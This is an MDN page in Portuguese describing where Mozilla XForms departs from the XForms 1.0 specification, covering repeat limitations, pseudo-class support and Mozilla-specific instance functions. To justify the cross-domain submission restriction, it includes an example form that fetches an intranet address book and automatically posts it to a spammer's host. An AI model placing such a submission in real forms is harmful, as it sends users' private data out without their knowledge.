MDN may have intermittent access issues April 18 13:00 - April 19 01:00 UTC. See whistlepig.mozilla.org for all notifications.

mozilla
Os seus resultados da pesquisa

    Mozilla XForms Specials

    Introdução

    Este artigo fornece um resumo onde Extensões Mozilla XForms desvia XForms 1.0 Especificação oficial . Este artigo cobre tanto limitações nas extensões como extensões customizadas.

    Limitações

    Repetição usando atributos

    De acordo com a especificação "Criando estruturas de repetição através de atributos", isto é parcialmente suportado.

    (limitação acompanhada no bug 280368)

    Mistura de Repetição e table ou ul

    Não é possível misturar repetições tanto com table ou ul. Isto significa que não é possível fazer o seguinte:

    <table>
      <xf:repeat ...>
        <tr> ... </tr>
      </xf:repeat>
    </table>
    

    ou

    <ul>
      <xf:repeat ...>
        <li> ... </li>
      </xf:repeat>
    </ul>
    

    Section 9.3.2 determina que a mistura com table provávelmente nunca funcionará. A mistura com ul pode sofrer a mesma limitação mas não deve travar o sistema (bug 330022).

    Suporte a pseudo classes

    Atualmente suportamos todas as pseudo classes em XForms (:enabled, :disabled, etc. ), exceto para :read-only e :read-write, por causa de comportamento não especificado destes para (X)HTML. No momento precisa usar :-moz-read-only e :-moz-read-write.

    (limitação acompanhada no bug 313111)

    Suporte a pseudo elemento

    Não existe suporte para os pseudo elementos (::value, ::repeat-item, e ::repeat-index ). Você deve usar as seguintes classes normais:

    • xf-value
    • xf-repeat-item
    • xf-repeat-index

    Por exemplo, para direcionar o elemento valor de um controle input use:

    @namespace xf url("http://www.w3.org/2002/xforms");
    xf|input .xf-value {
      ...
    }
    

    Os pseudo elementos são definidos na CSS3 Especificação básica de usuário .

    (limitação acompanhada no bug 271724)

    Extensões

    Enumerando Instâncias

    O nsIXFormsModelElement standardizado não permite enumerar todas as instâncias possíveis mas somente chamar instâncias pelo seu nome. No Extensões Mozilla XForms adicionamos a função getInstanceDocuments() ao model que retorna todos os documentos de instância do modelo. Isto encontra-se documentado no nsIXFormsNSModelElement.

    Chegando ao elemento de instância a partir de um nó de dados

    Na especificação XForms 1.0 não existe caminho de chegar ao elemento instance desde um nó de dados de instância. Adicionamos uma função através de chamado getFeature() em cada nó, que permite o autor do formulário a fazê-lo. Isto é, se instanceNode é um nó num documento de instância, então:

    instanceNode.getFeature("org.mozilla.xforms.instanceOwner", "1.0")
    

    retornará elemento <instance> (no documento principal) ao que o nó pertence.

    Chegando ao documento de instância através do elemento de instância

    Pela especificação XForms 1.0 deve passar pelo elemento model para chegar ao documento de instância. Parece um pouco desajeitado se você tem o elemento instance, então nós adicionamos uma função getInstanceDocument() diretamente no elemento instance como um atalho. Isso está documentado em nsIXFormsNSInstanceElement.

    Interface de controle customizada

    Nós adicinamos muitas funcionalidades à nossa interface de usuário que permitem aos tipos de autores criarem controles customizados. Isto envolve a exposição de algumas funcionalidades (script) em todos nossos controles, como output, input, etc. e permitindo à interface de usuário ser representada em XBL. Mais informação pode ser encontrada em Controles Customizados.

    Miscelânea

    Submissão de Domínio Cruzado

    Não é exatamente uma limitação, ou uma extensão, mas é válido mencionar aqui. Por razões de segurança, não é possível por padrão para um XForms aceitar dados de outro domínio. Isto é devido a razões de segurança.  Informações sobre como o domínio whitelist pode ser encontrado em Release Notes

    A checagem de domínio cruzado também inclui formulários carregados de file://. Formulários carregados desta URL devem ser arquivos locais, e assim confiáveis, mas este não é sempre o caso. Então não há um "whitelisting" de arquivos locais automático.

    Se você está espantado com o porque de termos esta restrição, aqui está um simples exemplo do porque:

    <xforms:model>
      <xforms:instance src="http://intranetserver/addrbook.xml"/>
      <xforms:submission id="sub" action="http://megaspammer.com/gather"
                         method="post"/>
      <xforms:send submission="sub" ev:event="xforms-ready"/>
    </xforms:model>
    

    This imaginary would fetch something that is only accessible for you (f.x. behind a firewall) http://intranetserver/addrbook.xml, and send it to http://megaspammer.com/gather as soon as you view the XForm.

    Categorias

    Interwiki Language Links

    Etiquetas do documento e colaboradores

    Etiquetas: 
    Contributors to this page: Kayalemao, Verruckt
    Última atualização por: Verruckt,